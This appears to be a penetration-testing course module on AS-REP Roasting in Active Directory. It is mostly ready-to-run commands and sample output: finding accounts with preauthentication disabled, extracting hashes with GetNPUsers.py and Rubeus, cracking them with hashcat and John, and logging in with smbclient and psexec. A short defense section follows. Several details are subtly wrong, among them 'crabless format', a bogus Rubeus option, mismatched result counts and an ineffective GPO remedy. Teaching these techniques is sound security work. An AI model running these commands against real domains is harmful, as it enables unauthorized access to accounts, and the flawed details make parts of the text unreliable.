AS-REP Roasting
Module 12 — Password Attacks | Section 8
AS-REP Roasting is an offline password cracking attack that exploits Active Directory user accounts with Kerberos preauthentication disabled. Unlike Kerberoasting, it requires zero credentials to begin — making it one of the most dangerous initial-access techniques in the Kerberos attack family.
Table of Contents
- Concept: Kerberos Preauthentication
- The DONT_REQ_PREAUTH Flag
- Kerberos AS-REQ / AS-REP Protocol Flow
- Why AS-REP Roasting Works
- Attack Workflow
- Enumeration
- Hash Extraction
- Offline Cracking
- Hashcat Modes Deep Dive
- John the Ripper for AS-REP
- Kerberoasting vs. AS-REP Roasting
- Defense and Mitigation
- OSCP Exam Tips
- Quick Reference Cheat Sheet
1. Concept: Kerberos Preauthentication
1.1 What Is Kerberos Preauthentication?
Kerberos is the default authentication protocol for Active Directory. Understanding preauthentication is essential to understanding AS-REP Roasting.
Normal Kerberos authentication flow (with preauthentication):
sequenceDiagram
participant C as Client
participant AS as KDC (AS)
participant TGT as TGT
C->>AS: AS-REQ (encrypted timestamp + username)
Note over C,AS: Timestamp encrypted with user's password hash
AS->>AS: Verify preauth timestamp
AS->>AS: Decrypt with user's password hash
alt Verification succeeds
AS->>C: AS-REP (contains encrypted TGT)
C->>C: Decrypt TGT with password
else Verification fails
AS-->>C: KRB-ERROR (preauth failed)
end
Preauthentication is a security mechanism introduced in Kerberos v5 to prevent exactly the type of attack that AS-REP Roasting exploits. Here is how it works:
- The client proves knowledge of its password before the KDC issues any useful data.
- The client encrypts a timestamp using a key derived from its password hash.
- This encrypted timestamp is sent inside the AS-REQ (Authentication Service Request).
- The KDC decrypts the timestamp using the user’s stored password hash.
- If decryption succeeds and the timestamp is within the allowed skew (default: 5 minutes), the KDC proceeds to issue an AS-REP containing a Ticket Granting Ticket (TGT) encrypted with the user’s password.
- If decryption fails, the KDC returns a
KRB-ERROR— no encrypted TGT is sent.
1.2 Why Preauthentication Exists
Without preauthentication, an attacker can request an AS-REP for any username without providing any credentials. The KDC will happily respond with an AS-REP containing a TGT encrypted with that user’s password hash. This encrypted data can then be cracked offline — at whatever speed the attacker’s hardware allows.
Preauthentication was added precisely to close this vulnerability. It forces the client to prove it knows the password before the KDC releases any crackable material.
1.3 The Kerberos Authentication Protocol (Full Flow)
To fully appreciate where AS-REP Roasting fits, here is the complete Kerberos authentication sequence:
flowchart LR
subgraph Phase1 ["Phase 1: AS Exchange (TGT Acquisition)"]
A1["Client → KDC(AS):
AS-REQ
(username + preauth)"]
A2["KDC(AS) → Client:
AS-REP
(encrypted TGT)"]
A1 --> A2
end
subgraph Phase2 ["Phase 2: TGS Exchange (Service Ticket)"]
T1["Client → KDC(TGS):
TGS-REQ
(TGT + service name)"]
T2["KDC(TGS) → Client:
TGS-REP
(encrypted service ticket)"]
T1 --> T2
end
subgraph Phase3 ["Phase 3: Authentication"]
S1["Client → Service:
AP-REQ
(service ticket)"]
S2["Service → Client:
AP-REP
(session key proof)"]
S1 --> S2
end
A2 --> T1
T2 --> S1
AS-REP Roasting attacks Phase 1 — specifically, it exploits accounts where the preauthentication step is missing.
2. The DONT_REQ_PREAUTH Flag
2.1 User Account Control (UAC) Flags
Every Active Directory user account has a userAccountControl attribute — a bitmask of flags that control account behavior. The flag relevant to AS-REP Roasting is:
| Flag Name | Value (Decimal) | Value (Hex) | Bit Position | Description |
|---|---|---|---|---|
DONT_REQ_PREAUTH |
4,194,304 | 0x00400000 |
Bit 22 | Do not require Kerberos preauthentication |
2.2 How the Bitmask Works
The userAccountControl attribute is a 32-bit integer. Each bit represents a different flag:
Bit: 31 ... 23 22 21 ... 1 0
[ other flags ][DONT_REQ_PREAUTH][...other flags...]
To check if preauthentication is disabled, you perform a bitwise AND operation:
userAccountControl & 0x00400000 == 0x00400000 → Preauth DISABLED (vulnerable)
userAccountControl & 0x00400000 == 0x00000000 → Preauth ENABLED (normal)
2.3 Common UAC Flags Reference
| Flag | Value | Description |
|---|---|---|
SCRIPT |
1 | Logon script runs |
ACCOUNTDISABLE |
2 | Account disabled |
NORMAL_ACCOUNT |
512 | Standard user account |
DONT_EXPIRE_PASSWORD |
65,536 | Password never expires |
DONT_REQ_PREAUTH |
4,194,304 | Kerberos preauth disabled |
PASSWORD_NOT_REQUIRED |
32 | No password required |
ENCRYPTED_TEXT_PWD_ALLOWED |
128 | Allow stored encrypted password |
TRUSTED_FOR_DELEGATION |
524,288 | Unconstrained delegation |
2.4 Why Would Preauthentication Be Disabled?
There are several reasons an account might have DONT_REQ_PREAUTH set:
- Legacy application compatibility — Some older applications cannot handle Kerberos preauthentication and require it to be disabled.
- Misconfiguration — An administrator accidentally enabled the flag during account creation or modification.
- Pass-the-Hash compatibility — In older Windows environments (pre-Windows 2000), preauthentication was not supported. Some organizations disabled it for backward compatibility.
- Intentional misconfiguration — Rare, but some organizations disable it for service accounts to allow password hash replay attacks (which is itself a security anti-pattern).
- Default for certain account types — Some service accounts or computer accounts may have this flag set during automated provisioning.
2.5 The LDAP OID for Bitmask Comparison
The LDAP matching rule 1.2.840.113556.1.4.803 performs a bitmask comparison. This is used in LDAP filters to check if specific bits are set in a numeric attribute:
(userAccountControl:1.2.840.113556.1.4.803:=4194304)
This reads: “Find all objects where the userAccountControl attribute has bit 22 (value 4194304) set.”
3. Kerberos AS-REQ / AS-REP Protocol Flow
3.1 Normal Flow (Preauthentication Enabled)
sequenceDiagram
autonumber
participant C as Client
participant K as KDC (AS Service)
C->>K: AS-REQ<br/>• username (clear text)<br/>• encrypted timestamp<br/> (E_key{current_time})<br/>• encryption type request
Note over K: Decrypts timestamp with<br/>user's password-derived key
alt Timestamp valid
K->>C: AS-REP<br/>• TGT encrypted with KDC key<br/>• session key encrypted with<br/> user's password hash<br/> (E_key{session_key, TGT})
else Timestamp invalid
K-->>C: KRB-ERROR<br/>(Preauthentication failed)
end
3.2 Vulnerable Flow (Preauthentication Disabled)
sequenceDiagram
autonumber
participant A as Attacker
participant K as KDC (AS Service)
participant P as Cracking Machine
A->>K: AS-REQ<br/>• username (clear text)<br/>• NO encrypted timestamp<br/>• NO credentials needed
Note over K: No preauth to verify!<br/>Proceeds immediately.
K->>A: AS-REP<br/>• TGT encrypted with KDC key<br/>• session key encrypted with<br/> user's password hash<br/> (E_key{session_key, TGT})
Note over A: Extract encrypted data<br/>from AS-REP
A->>P: Send hash to<br/>Hashcat / John
P->>P: Offline brute force<br/>with wordlist / rules
alt Password cracked
P->>A: Plaintext password recovered
else Not cracked
P-->>A: Try different wordlist/rules
end
Key difference: In the vulnerable flow, step 1 requires no credentials. The attacker only needs to know the username. The KDC responds with encrypted data that can be cracked offline.
3.3 What’s Inside the AS-REP?
The AS-REP message contains two critical encrypted components:
| Component | Encrypted With | Purpose |
|---|---|---|
| Session Key | User’s password-derived key | Used by the client for subsequent Kerberos operations |
| TGT (Ticket Granting Ticket) | KDC’s secret key (krbtgt account hash) |
Presented to TGS to request service tickets |
The session key portion is what we crack. It is encrypted with a key derived from the user’s password. If we can recover the plaintext password, we can decrypt this session key and authenticate as that user.
3.4 Encryption Types (etypes)
The encryption algorithm used depends on the account’s Kerberos encryption type settings:
| etype | Algorithm | Hashcat Mode | Speed |
|---|---|---|---|
| 23 | RC4-HMAC | 18200 |
Fast (~100-500 MH/s on GPU) |
| 17 | AES128-CTS-HMAC-SHA1-96 | 19700 |
Slower than RC4 |
| 18 | AES256-CTS-HMAC-SHA1-96 | 19700 |
Slowest |
RC4 (etype 23) is the most common in lab environments and older domains, making it the primary target.
4. Why AS-REP Roasting Works
AS-REP Roasting succeeds because of a fundamental design trade-off in Kerberos:
-
No credentials needed to request AS-REP — When preauthentication is disabled, the KDC has no way to verify the requester’s identity. Anyone on the network can request an AS-REP for any username.
-
The response contains crackable data — The AS-REP includes a session key encrypted with the user’s password hash. This is the same data you would need to authenticate, but now the attacker has it and can try to decrypt it offline.
-
Offline cracking is fast — With no rate limiting, no account lockout, and GPU acceleration, an attacker can try millions of password guesses per second.
-
The attack is stealthy — Requesting an AS-REP generates minimal logging. Most SIEMs do not alert on unauthenticated AS-REQ messages by default.
4.1 Attack Prerequisites
| Requirement | Details |
|---|---|
| Network access | Reachability to the domain controller (port 88/TCP or UDP for Kerberos) |
| Domain knowledge | Domain name (e.g., CORP.LOCAL) |
| Username | The target username (can be enumerated via LDAP, SMB, or other means) |
| No credentials | This is the key advantage — zero valid credentials required |
| Cracking hardware | GPU for Hashcat, or CPU for John the Ripper |
4.2 Comparison: What You Need vs. What You Get
| Phase | Input | Output |
|---|---|---|
| Enumeration | Domain name, network access | List of vulnerable usernames |
| Hash Extraction | Username | AS-REP hash in Hashcat/John format |
| Cracking | Hash + wordlist | Plaintext password |
| Authentication | Username + password | Full access as that user |
5. Attack Workflow
5.1 End-to-End Attack Chain
flowchart TD
subgraph Phase1 ["Phase 1: Reconnaissance"]
A1["Identify Domain<br/>(e.g., CORP.LOCAL)"]
A2["Enumerate Users<br/>(LDAP, SMB, etc.)"]
A1 --> A2
end
subgraph Phase2 ["Phase 2: Target Identification"]
B1["Find Accounts with<br/>DONT_REQ_PREAUTH Set"]
B2["Filter: Active Accounts Only<br/>samAccountType = 805306368"]
B1 --> B2
end
subgraph Phase3 ["Phase 3: Hash Extraction"]
C1["Request AS-REP<br/>for Each Target"]
C2["Extract Encrypted<br/>Session Key Data"]
C3["Format for<br/>Hashcat / John"]
C1 --> C2 --> C3
end
subgraph Phase4 ["Phase 4: Offline Cracking"]
D1["Dictionary Attack<br/>rockyou.txt"]
D2["Rule-Based Attack<br/>best64.rule"]
D3["Mask Attack<br/>if pattern known"]
D4["Brute Force<br/>last resort"]
D1 --> D2 --> D3 --> D4
end
subgraph Phase5 ["Phase 5: Post-Exploitation"]
E1["Plaintext Password<br/>Recovered"]
E2["Authenticate as User<br/>SMB, RDP, SSH, etc."]
E3["Lateral Movement<br/>/ Privilege Escalation"]
E1 --> E2 --> E3
end
A2 --> B1
B2 --> C1
D4 --> E1
5.2 Step-by-Step Walkthrough
Step 1: Identify the Domain
# From a domain-joined machine
ipconfig /all
# Look for "Primary Dns Suffix" → e.g., "corp.local"
# From outside the domain (if you have any access)
nslookup -type=SRV _kerberos._tcp.corp.local
Step 2: Enumerate Vulnerable Accounts
See Section 6 for detailed enumeration methods.
Step 3: Extract the Hash
# Impacket — no credentials needed
GetNPUsers.py CORP.LOCAL/ -format hashcat -outputfile asrep_hashes.txt
Step 4: Crack the Hash
# Hashcat — RC4
hashcat -m 18200 -a 0 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
# Hashcat — with rules
hashcat -m 18200 -a 0 asrep_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
Step 5: Use the Recovered Password
# SMB access
smbclient //target.corp.local/C$ -U target_user%password
# RDP access
# Use the credentials in Remote Desktop Connection
# psexec
psexec.py CORP.LOCAL/target_user@target.corp.local
6. Enumeration
Finding accounts with DONT_REQ_PREAUTH set is the critical first step. Multiple tools can accomplish this.
6.1 PowerShell (ActiveDirectory Module)
Requirement: Domain-joined machine with RSAT installed.
# Basic enumeration — all properties
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties *
# Clean output — key properties only
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} `
-Properties DoesNotRequirePreAuth, UserAccountControl, Enabled, DisplayName, SamAccountName |
Select-Object SamAccountName, DisplayName, Enabled, DoesNotRequirePreAuth, UserAccountControl |
Format-Table -AutoSize
# Export to CSV
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} `
-Properties DoesNotRequirePreAuth, Enabled, DisplayName |
Select-Object SamAccountName, DisplayName, Enabled, DoesNotRequirePreAuth |
Export-Csv -Path .\vulnerable_users.csv -NoTypeInformation
# Filter only enabled accounts (more likely to have crackable passwords)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true -and Enabled -eq $true} `
-Properties DoesNotRequirePreAuth, DisplayName |
Select-Object SamAccountName, DisplayName, Enabled
Output example:
SamAccountName DisplayName Enabled DoesNotRequirePreAuth
-------------- ----------- ------- ---------------------
svc_backup Backup Service True True
jdoe John Doe True True
6.2 ADFind
Requirement: Download from Joel’s GitHub. No installation needed.
# Find all user accounts with DONT_REQ_PREAUTH set
adfind -rb dc:corp,dc:local `
-f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" `
-dn -samaccountname -displayname -enabled -useraccountcontrol
# Breakdown of the LDAP filter:
# samAccountType=805306368 → User accounts only (not computers, groups, etc.)
# userAccountControl:OID:=4194304 → Bitmask check for DONT_REQ_PREAUTH
# Export to file
adfind -rb dc:corp,dc:local `
-f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" `
-dn -samaccountname -csv > vulnerable_users.csv
# Quick count of vulnerable accounts
adfind -rb dc:corp,dc:local `
-f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" `
-nocsv
Output example:
Connecting DC: dc01.corp.local as current user with current password...
Base object for search: Dn:DC=corp,DC=local
Searching: [(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)]
DN CN SAMACCOUNTNAME ENABLED UAC
================================================== ============== =============== ======= =====
CN=svc_backup,OU=Service Accounts,DC=corp,DC=local svc_backup svc_backup TRUE 0x0210
CN=John Doe,OU=Users,DC=corp,DC=local John Doe jdoe TRUE 0x0210
1 objects returned
6.3 BloodHound
# Cypher query for BloodHound
MATCH (n {DoesntRequirePreAuth: true})
RETURN n.Name, n.DisplayName, n.Enabled
6.4 PowerShell (No AD Module — LDAP Direct)
Requirement: No RSAT needed. Works from any machine with network access to a domain controller.
# Direct LDAP query without ActiveDirectory module
$ldapFilter = "(&(objectClass=user)(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
$root = [ADSI]"LDAP://corp.local"
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.SearchRoot = $root
$searcher.Filter = $ldapFilter
$searcher.PropertiesToLoad.Add("sAMAccountName") > $null
$searcher.PropertiesToLoad.Add("displayName") > $null
$searcher.PropertiesToLoad.Add("userAccountControl") > $null
$results = $searcher.FindAll()
foreach ($result in $results) {
$prop = $result.Properties
Write-Host "Username: $($prop['samaccountname']) | Display: $($prop['displayname']) | UAC: $($prop['useraccountcontrol'])"
}
$results.Dispose()
6.5 Impacket GetNPUsers.py (Enumeration Mode)
Requirement: Network access to the domain controller. No credentials needed for basic enumeration.
# List all users with DONT_REQ_PREAUTH (no hash extraction)
GetNPUsers.py CORP.LOCAL/ -usersfile all_users.txt -format hashcat -outputfile asrep_hashes.txt
# Without a users file — queries all domain users
GetNPUsers.py CORP.LOCAL/ -format hashcat -outputfile asrep_hashes.txt
# With null session (if allowed)
GetNPUsers.py CORP.LOCAL/ -format john -outputfile asrep_hashes_john.txt
# With specific DC
GetNPUsers.py CORP.LOCAL/ -dc-ip 192.168.1.10 -format hashcat -outputfile asrep_hashes.txt
7. Hash Extraction
Once you’ve identified vulnerable accounts, you need to extract the AS-REP hashes.
7.1 Impacket — GetNPUsers.py
This is the primary tool for AS-REP Roasting from Linux (Kali) or any machine with Python and Impacket installed.
# ─── Basic Usage ───
# Extract hashes for ALL users with DONT_REQ_PREAUTH (no creds needed)
GetNPUsers.py CORP.LOCAL/ -format hashcat -outputfile asrep_hashes.txt
# Extract for a SPECIFIC user
GetNPUsers.py CORP.LOCAL/svc_backup -format hashcat -outputfile asrep_hashes.txt
# Extract for a list of users
GetNPUsers.py CORP.LOCAL/ -usersfile target_users.txt -format hashcat -outputfile asrep_hashes.txt
# ─── Output Formats ───
# Hashcat format (recommended)
GetNPUsers.py CORP.LOCAL/ -format hashcat -outputfile asrep_hashes.txt
# John the Ripper format
GetNPUsers.py CORP.LOCAL/ -format john -outputfile asrep_hashes_john.txt
# ─── Advanced Options �─
# Specify domain controller IP
GetNPUsers.py CORP.LOCAL/ -dc-ip 192.168.1.10 -format hashcat -outputfile asrep_hashes.txt
# Use null session authentication
GetNPUsers.py CORP.LOCAL/ -dc-ip 192.168.1.10 -format hashcat -outputfile asrep_hashes.txt
# Request TGT as well (if you crack the password, you can use the TGT)
GetNPUsers.py CORP.LOCAL/ -request -format hashcat -outputfile asrep_hashes.txt
Sample output (Hashcat format):
$krb5asrep$23$svc_backup@CORP.LOCAL:a1b2c3d4e5f6...:d4c3b2a1...
$krb5asrep$23$jdoe@CORP.LOCAL:e5f6a7b8c9d0...:0d9c8b7a...
Hash format breakdown:
$krb5asrep$23$svc_backup@CORP.LOCAL:encrypted_data:cipher_text
│ │ │ │ │ │
│ │ │ │ │ └─ Cipher text (session key encrypted with user hash)
│ │ │ │ └─ Encrypted data (client principal + timestamp)
│ │ │ └─ Target username@REALM
│ │ └─ Encryption type (23 = RC4-HMAC)
│ └─ Hash identifier (krb5asrep = Kerberos 5 AS-REP)
└─ Hashcat format marker
7.2 Rubeus
Requirement: Domain-joined Windows machine. Rubeus is a .NET tool, so it runs natively on Windows.
# ─── Basic AS-REP Roasting ───
# Roast all vulnerable accounts (no credentials needed)
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
# Roast a specific user
Rubeus.exe asreproast /user:svc_backup /format:hashcat /outfile:asrep_hashes.txt
# Roast with John format
Rubeus.exe asreproast /format:john /outfile:asrep_hashes_john.txt
# ─── With Credentials (for additional options) ───
# Use current session credentials
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt /creduser:user /creddomain:CORP /credlang:password
# Request TGT alongside hash extraction
Rubeus.exe asreproast /user:svc_backup /format:hashcat /outfile:asrep_hashes.txt /ticket:base64
# ─── Combined with Kerberoasting ───
# Kerberoast first, then AS-REP roast
Rubeus.exe kerberoast /format:hashcat /outfile:kerberoast_hashes.txt
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
Sample Rubeus output:
[*] Action: AS-REP Roasting
[*] Using rc4_hmac hash of password: d220d0d82a50befe7cfa68ed321504c2
[+] AS-REP(23) for 'svc_backup@CORP.LOCAL' encryptedText:
a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2...
[*] Saving captures in hashcat crabless format to: asrep_hashes.txt
[*] Press a key to continue...
7.3 Rubeus vs. Impacket Comparison
| Feature | Impacket (GetNPUsers.py) | Rubeus |
|---|---|---|
| Platform | Linux, macOS, Windows (Python) | Windows (.NET) |
| Credentials needed | None | None (for basic AS-REP) |
| Output formats | Hashcat, John | Hashcat, John |
| TGT extraction | Yes (-request) |
Yes (/ticket:base64) |
| Combined attacks | No | Yes (kerberoast + asreproast) |
| Best for | Attack from Kali Linux | Attack from Windows box |
| Installation | pip install impacket |
Single executable, no install |
7.4 Manual AS-REP Request (Understanding the Protocol)
For educational purposes, you can manually craft an AS-REQ:
# Python example using pykerberos or similar
# This demonstrates what GetNPUsers.py does internally
from impacket.krb5 import constants
from impacket.krb5.asn1 import AS_REQ, AS_REP
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.types import Principal, KerberosTime
# Create AS-REQ without preauthentication
client_name = Principal("svc_backup", type=constants.PrincipalNameType.NT_PRINCIPAL)
server_name = Principal("krbtgt/CORP.LOCAL", type=constants.PrincipalNameType.NT_PRINCIPAL)
# Build AS-REQ
as_req = AS_REQ()
as_req['pvno'] = 5
as_req['msg-type'] = constants.ApplicationTagNumber.AsReq.value
as_req['padata'] = None # No pre-authentication data!
as_req['req-body'] = {
'cname': client_name,
'realm': 'CORP.LOCAL',
'sname': server_name,
'till': None,
'rtime': None,
'nonce': random.randint(0, 2147483647),
'etype': [23, 17, 18, 16], # Requested encryption types
}
# Send to KDC
response = sendReceive(as_req, 'dc01.corp.local', 'CORP.LOCAL')
# Parse AS_REP and extract encrypted data
8. Offline Cracking
8.1 Hashcat (GPU-Accelerated — Recommended)
Hashcat is the fastest tool for AS-REP hash cracking, especially with GPU acceleration.
RC4-HMAC (etype 23) — Most Common
# ─── Dictionary Attack ───
hashcat -m 18200 -a 0 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
# ─── Dictionary + Rules ───
hashcat -m 18200 -a 0 asrep_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
# ─── Multiple Rule Files ───
hashcat -m 18200 -a 0 asrep_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule \
-r /usr/share/hashcat/rules/one337.rule
# ─── Aggressive Mode ───
hashcat -m 18200 -a 0 asrep_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule \
-w 3 --force --status --status-timer=30
# ─── Mask Attack (if you know the password pattern) ───
# Pattern: First letter uppercase, 7 lowercase, 2 digits
hashcat -m 18200 -a 3 asrep_hashes.txt ?u?l?l?l?l?l?l?l?d?d
# ─── Hybrid: Dictionary + Mask ───
hashcat -m 18200 -a 6 asrep_hashes.txt /usr/share/wordlists/rockyou.txt ?d?d?d?d
# ─── Session Management ───
# Start with a named session
hashcat -m 18200 -a 0 --session asrep_crack asrep_hashes.txt rockyou.txt
# Resume later
hashcat -m 18200 -a 0 --restore
# Show already cracked
hashcat -m 18200 -a 0 --show asrep_hashes.txt rockyou.txt
AES256 (etype 18) — Slower but More Secure
# AES256 AS-REP cracking
hashcat -m 19700 -a 0 asrep_aes_hashes.txt /usr/share/wordlists/rockyou.txt
# With rules
hashcat -m 19700 -a 0 asrep_aes_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
Sample Hashcat Output
hashcat (6.2.6) starting
* Device #1: NVIDIA GeForce RTX 3080, 10240/10240 MB (auto/10240 MB)
* Hashes: 2 digests; 2 unique digests, 1 unique salt
* Rules: 1 (best64.rule)
Session..........: asrep_crack
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$svc_backup@CORP.LOCAL:a1b2c3...
Time.Started.....: Mon Aug 31 10:00:00 2026 (15 seconds)
Speed.#1.........: 312456 #/s (12.34 ms)
Recovered........: 1/2 (50.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 45678912/52428800 (87.13%)
Rejected.........: 0/45678912 (0.00%)
Restore.Point....: 41943040/52428800 (80.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: Summer2024! -> Password1234!
Started: Mon Aug 31 10:00:00 2026
Stopping: Mon Aug 31 10:00:15 2026
8.2 Cracking Strategy Priority
| Priority | Strategy | Command | Expected Speed |
|---|---|---|---|
| 1 | Dictionary | -a 0 rockyou.txt |
Fastest |
| 2 | Dictionary + Rules | -a 0 rockyou.txt -r best64.rule |
Fast |
| 3 | Custom Wordlist | -a 0 custom_list.txt |
Fast |
| 4 | Hybrid (Dict + Mask) | -a 6 rockyou.txt ?d?d?d?d |
Medium |
| 5 | Mask Attack | -a 3 ?u?l?l?l?l?d?d?d |
Slower |
| 6 | Brute Force | -a 3 ?a?a?a?a?a?a?a?a |
Very Slow |
9. Hashcat Modes Deep Dive
9.1 Mode 18200 — Kerberos 5 AS-REP etype 23 (RC4-HMAC)
Mode: 18200
Name: Kerberos 5, etype 23, AS-REP (Pre-Auth)
Algorithm: RC4-HMAC
Hash ID: $krb5asrep$23$
Hash format:
$krb5asrep$23$username@REALM:client_key_encrypted:cipher_text_encrypted
Detailed breakdown:
$krb5asrep$23$svc_backup@CORP.LOCAL:
7a3b2c1d4e5f6a7b8c9d0e1f2a3b4c5d:
1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b
│ │
│ └─ Encrypted session key (this is what we crack)
└─ Encrypted client principal + timestamp
Performance characteristics:
| GPU Model | Speed (MH/s) | Time to crack 8-char lowercase |
|---|---|---|
| RTX 3080 | ~300-500 | ~minutes |
| RTX 4090 | ~600-900 | ~minutes |
| A100 | ~1000+ | ~seconds |
| CPU only | ~1-5 | ~days |
Why RC4 is fast to crack:
- RC4 is a stream cipher with no complex key schedule.
- GPU implementations are highly optimized.
- No salt — the same password always produces the same hash structure.
9.2 Mode 19700 — Kerberos 5 AS-REP etype 17/18 (AES)
Mode: 19700
Name: Kerberos 5, etype 17/18, AS-REP (Pre-Auth)
Algorithm: AES128-CTS-HMAC-SHA1-96 / AES256-CTS-HMAC-SHA1-96
Hash ID: $krb5asrep$17$ or $krb5asrep$18$
Hash format:
$krb5asrep$17$username@REALM:salt:encrypted_data
$krb5asrep$18$username@REALM:salt:encrypted_data
Performance characteristics:
| GPU Model | Speed (MH/s) | Comparison to RC4 |
|---|---|---|
| RTX 3080 | ~50-100 | ~5-10x slower |
| RTX 4090 | ~100-200 | ~5-10x slower |
| A100 | ~200-400 | ~5-10x slower |
Why AES is slower to crack:
- AES uses complex substitution-permutation networks.
- CTS (Cipher Text Stealing) mode adds overhead.
- HMAC-SHA1 verification adds computational cost.
- Modern domains increasingly enforce AES over RC4.
9.3 Mode Comparison Table
| Mode | Encryption | Hash Prefix | Typical Speed (RTX 3080) | Lab Frequency |
|---|---|---|---|---|
| 18200 | RC4-HMAC | $krb5asrep$23$ |
~300-500 MH/s | Very Common |
| 19700 | AES128/256 | $krb5asrep$17$ / $krb5asrep$18$ |
~50-100 MH/s | Less Common |
10. John the Ripper for AS-REP
10.1 Basic Usage
# Auto-detect format
john asrep_hashes.txt
# Specify format explicitly
john --format=krb5asrep asrep_hashes.txt
# With wordlist
john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt
# With rules
john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt --rules asrep_hashes.txt
# Show cracked passwords
john --format=krb5asrep --show asrep_hashes.txt
# Test/benchmark
john --format=krb5asrep --test
10.2 John Hash Format
$krb5asrep$23$svc_backup@CORP.LOCAL:data1:data2
John the Ripper automatically detects the $krb5asrep$ prefix and uses the correct format.
10.3 John vs. Hashcat for AS-REP
| Feature | Hashcat | John the Ripper |
|---|---|---|
| Acceleration | GPU (CUDA/OpenCL) | CPU only |
| Speed (RC4) | 300-500 MH/s | 5-50 K/s |
| Rules | Yes (-r) |
Yes (--rules) |
| Mask attacks | Yes (-a 3) |
Yes (--mask) |
| Resume | --restore |
--restore |
| Best for | Production cracking | Quick checks, no GPU |
| OSCP recommendation | Primary tool | Fallback / verification |
11. Kerberoasting vs. AS-REP Roasting
This is a frequently tested distinction on the OSCP exam.
11.1 Comparison Table
| Aspect | Kerberoasting | AS-REP Roasting |
|---|---|---|
| Target | Service accounts with SPNs | User accounts with DONT_REQ_PREAUTH |
| Ticket Type | TGS-REP (Ticket Granting Service) | AS-REP (Authentication Service) |
| Credentials Required | ✅ Valid domain user (any privilege) | ❌ None (zero credentials) |
| Kerberos Phase | Phase 2 (TGS Exchange) | Phase 1 (AS Exchange) |
| Hash Format | $krb5tgs$ |
$krb5asrep$ |
| Hashcat Mode (RC4) | 13100 |
18200 |
| Hashcat Mode (AES256) | 19600 |
19700 |
| Primary Tool | Rubeus.exe kerberoast / getUserSPNs.py -request |
GetNPUsers.py / Rubeus.exe asreproast |
| Enumeration | Find accounts with SPNs (servicePrincipalName attribute) |
Find accounts with DONT_REQ_PREAUTH (userAccountControl flag) |
| What’s Encrypted | Service ticket encrypted with service account’s NTLM hash | Session key encrypted with user’s password hash |
| Frequency in Labs | Very common | Common |
| Difficulty | Easy (any domain user) | Easy (no credentials at all) |
| Defensive Fix | Long random passwords, gMSA, AES enforcement | Enable preauthentication, audit UAC flags |
11.2 Visual Comparison
flowchart LR
subgraph Kerberoasting ["KERBEROASTING"]
K1["Any Domain User"] --> K2["Find SPNs"]
K2 --> K3["Request TGS Ticket"]
K3 --> K4["Extract TGS-REP"]
K4 --> K5["Crack: hashcat -m 13100"]
K5 --> K6["Service Account Password"]
end
subgraph ASREPRoasting ["AS-REP ROASTING"]
A1["No Credentials"] --> A2["Find DONT_REQ_PREAUTH"]
A2 --> A3["Request AS-REP"]
A3 --> A4["Extract AS-REP"]
A4 --> A5["Crack: hashcat -m 18200"]
A5 --> A6["User Password"]
end
11.3 When to Use Which
| Scenario | Attack |
|---|---|
| You have a domain user account | Both — try Kerberoasting first (more targets), then AS-REP |
| You have NO credentials | AS-REP Roasting only — it’s the only Kerberos attack that works |
| You see service accounts with SPNs | Kerberoasting |
| You see accounts with preauth disabled | AS-REP Roasting |
| Maximum coverage approach | Both — run both attacks and crack all hashes |
12. Defense and Mitigation
12.1 Enable Preauthentication (Primary Defense)
This is the single most effective defense. Preauthentication is enabled by default — the vulnerability exists only when it has been explicitly disabled.
# Check if an account has preauth disabled
Get-ADUser -Identity svc_backup -Properties DoesNotRequirePreAuth
# Re-enable preauthentication
Set-ADUser -Identity svc_backup -Replace @{userAccountControl=512}
# Or more safely, clear the flag without overwriting other flags:
$user = Get-ADUser -Identity svc_backup -Properties UserAccountControl
$uac = $user.UserAccountControl -bxor 0x00400000 # Toggle off DONT_REQ_PREAUTH
Set-ADUser -Identity svc_backup -Replace @{userAccountControl=$uac}
12.2 Audit UAC Flags Regularly
# Scheduled audit script
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} `
-Properties DoesNotRequirePreAuth, DisplayName, Enabled, LastLogonDate |
Select-Object SamAccountName, DisplayName, Enabled, LastLogonDate |
Export-Csv -Path C:\Audits\ASREP_Roasting_Risk_$(Get-Date -Format yyyyMMdd).csv -NoTypeInformation
12.3 GPO Enforcement
Configure Group Policy to prevent preauthentication from being disabled:
- Open Group Policy Management Console (
gpmc.msc). - Navigate to:
Computer Configuration → Policies → Windows Settings → Security Settings → Account Policies → Kerberos Policy. - Ensure “Enforce computer logon restrictions” is enabled.
